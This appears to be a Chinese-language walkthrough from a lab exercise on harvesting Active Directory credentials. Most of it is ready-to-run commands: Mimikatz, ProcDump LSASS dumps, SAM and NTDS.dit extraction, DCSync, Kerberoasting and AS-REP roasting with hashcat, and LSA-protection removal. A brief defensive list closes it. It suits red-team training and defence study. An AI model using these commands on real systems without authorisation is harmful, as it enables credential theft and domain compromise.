AD Cred-Harvesting
字数 1477 2025-08-22 18:37:14
Active Directory 凭据收集与利用技术详解
0x01 凭据收集概述
Active Directory (AD) 凭据收集是指攻击者通过各种技术手段获取用户登录信息的过程,主要包括:
- 帐户详细信息(用户名和密码)
- 密码哈希值(如NTLM哈希)
- 身份验证票据(TGT、TGS)
- 其他有助于登录的信息(如私钥)
0x02 凭据访问技术
明文文件中的凭据
攻击者可能从以下文件中获取凭据:
-
PowerShell历史文件:
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -
注册表查询:
reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s -
配置文件:Web应用、FTP、浏览器、邮件客户端等配置文件
数据库文件
应用程序常使用数据库存储设置、配置或凭据,是检索凭据的重要目标。
密码管理器
包括Windows内置密码管理器和第三方工具(KeePass、1Password等),可能存在配置错误或漏洞。
内存转储
内存中可能包含:
- 明文凭据
- 缓存密码
- AD票据
Active Directory中的凭据
常见泄露途径:
- 用户描述中保存密码
- 组策略SYSVOL漏洞
- NTDS数据库文件
- 错误AD配置
枚举AD用户描述中的密码:
Get-ADUser -Filter * -Properties * | select Name, SamAccountName, Description
0x03 本地凭据技术
SAM数据库提取
方法1:Metasploit hashdump
- 注入LSASS.exe进程转储哈希
方法2:卷影复制服务
wmic shadowcopy call create Volume='C:\'
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system
方法3:注册表配置单元
reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
reg save HKLM\system C:\users\Administrator\Desktop\system-reg
使用Impacket提取:
secretsdump.py -sam sam-reg -system system-reg LOCAL
方法4:Mimikatz
privilege::debug
token::elevate
lsadump::sam
0x04 LSASS进程凭据提取
LSASS(本地安全认证子系统服务)存储用户凭据,是攻击重点。
方法1:GUI转储
- 任务管理器 → 详细信息 → LSASS.exe → 创建转储文件
方法2:ProcDump
procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp
方法3:Mimikatz直接提取
privilege::debug
sekurlsa::logonpasswords
绕过LSA保护:
!+
!processprotect /process:lsass.exe /remove
0x05 凭据管理器攻击
Windows凭据管理器存储四种凭据:
- Web凭据
- Windows凭据
- 通用凭据
- 基于证书的凭据
枚举凭据库:
vaultcmd /list
vaultcmd /listproperties:"Web Credentials"
vaultcmd /listcreds:"Web Credentials"
PowerShell转储:
Import-Module Get-WebCredentials.ps1
Get-WebCredentials
RunAs利用:
runas /savecred /user:THM.red\thm-local cmd.exe
Mimikatz转储:
privilege::debug
sekurlsa::credman
0x06 域控制器凭据提取
NTDS.dit数据库提取
本地转储(需管理员权限):
ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q
需要获取:
- C:\Windows\NTDS\ntds.dit
- C:\Windows\System32\config\SYSTEM
- C:\Windows\System32\config\SECURITY
使用Impacket提取:
secretsdump.py -sam SECURITY -system SYSTEM -ntds ntds.dit local
DC Sync攻击
需要以下AD权限之一:
- Replicating Directory Changes
- Replicating Directory Changes All
- Replicating Directory Changes in Filtered Set
使用Impacket:
secretsdump.py -just-dc THM.red/thm@10.10.231.22
secretsdump.py -just-dc-ntlm THM.red/thm@10.10.231.22
0x07 LAPS(本地管理员密码解决方案)
枚举LAPS:
dir "C:\Program Files\LAPS\CSE"
Get-Command *AdmPwd*
Find-AdmPwdExtendedRights -Identity *
获取密码:
Get-AdmPwdPassword -ComputerName creds-harvestin
0x08 其他攻击方法
Kerberoasting
- 枚举SPN帐户:
GetUserSPNs.py -dc-ip 10.10.23.153 THM.red/thm
- 请求TGS票据:
GetUserSPNs.py -dc-ip 10.10.23.153 THM.red/thm -request-user svc-thm
- 破解哈希:
hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt
AS-REP Roasting
针对设置了"不需要Kerberos预认证"的帐户:
GetNPUsers.py -dc-ip 10.10.23.153 thm.red/ -usersfile users.txt
SMB自动中继
利用NTLM认证机制,要求目标机器SMB签名已禁用。
LLMNR/NBNS投毒攻击
通过响应LLMNR或NBT-NS查询欺骗目标网络。
防御建议
- 启用LSA保护
- 实施LAPS管理本地管理员密码
- 禁用不必要的协议(LLMNR/NBT-NS)
- 启用SMB签名
- 定期审计AD配置
- 监控异常活动(如大量DC同步请求)
- 限制特权帐户使用
- 禁用"不需要Kerberos预认证"选项
以上技术仅用于安全研究和授权测试,未经授权使用可能违反法律。